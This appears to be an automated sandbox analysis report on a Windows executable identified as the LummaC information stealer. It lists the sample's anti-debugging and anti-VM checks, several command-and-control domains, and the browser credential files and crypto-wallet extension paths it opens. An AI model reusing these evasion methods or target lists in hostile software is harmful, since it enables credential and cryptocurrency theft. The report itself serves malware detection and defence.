Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62715DB second address: 6271626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F9ACCBE48C6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 sub dword ptr [ebp+122D1DD5h], edx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F9ACCBE48C8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 push E2675093h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F9ACCBE48CFh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6271723 second address: 62717C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 nop 0x00000007 jmp 00007F9ACD05C379h 0x0000000c push 00000000h 0x0000000e xor dword ptr [ebp+122D1DEFh], edx 0x00000014 push B1CB04B6h 0x00000019 jo 00007F9ACD05C377h 0x0000001f jmp 00007F9ACD05C371h 0x00000024 add dword ptr [esp], 4E34FBCAh 0x0000002b mov edi, dword ptr [ebp+122D2FBCh] 0x00000031 push 00000003h 0x00000033 pushad 0x00000034 add dh, 00000060h 0x00000037 push eax 0x00000038 mov dword ptr [ebp+122D328Dh], eax 0x0000003e pop ebx 0x0000003f popad 0x00000040 push 00000000h 0x00000042 jnp 00007F9ACD05C36Ch 0x00000048 sub dword ptr [ebp+122D38D3h], ebx 0x0000004e push 00000003h 0x00000050 movsx edx, dx 0x00000053 call 00007F9ACD05C369h 0x00000058 pushad 0x00000059 push edi 0x0000005a push ebx 0x0000005b pop ebx 0x0000005c pop edi 0x0000005d jnc 00007F9ACD05C377h 0x00000063 jmp 00007F9ACD05C371h 0x00000068 popad 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62717C2 second address: 62717C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DCBB75 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F989F8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60EDF56 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 62C25D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6330462 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60F1744 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6396

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1895386392.0000000000F53000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1912932458.0000000006277000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1650017919.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1894285939.00000000009D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: file.exe, 00000000.00000002.1910032998.0000000005756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\b
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000002.1910032998.0000000005756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1895386392.0000000000F53000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1912932458.0000000006277000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: file.exe, 00000000.00000003.1650017919.00000000057C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.1895279207.0000000000D71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1912932458.0000000006277000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: nProgram Manager
Source: file.exe, 00000000.00000002.1895386392.0000000000F53000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1698252483.000000000575F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698575001.000000000575F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6148, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1683461352.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.1683461352.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1683461352.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1694083350.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1683461352.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1683461352.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
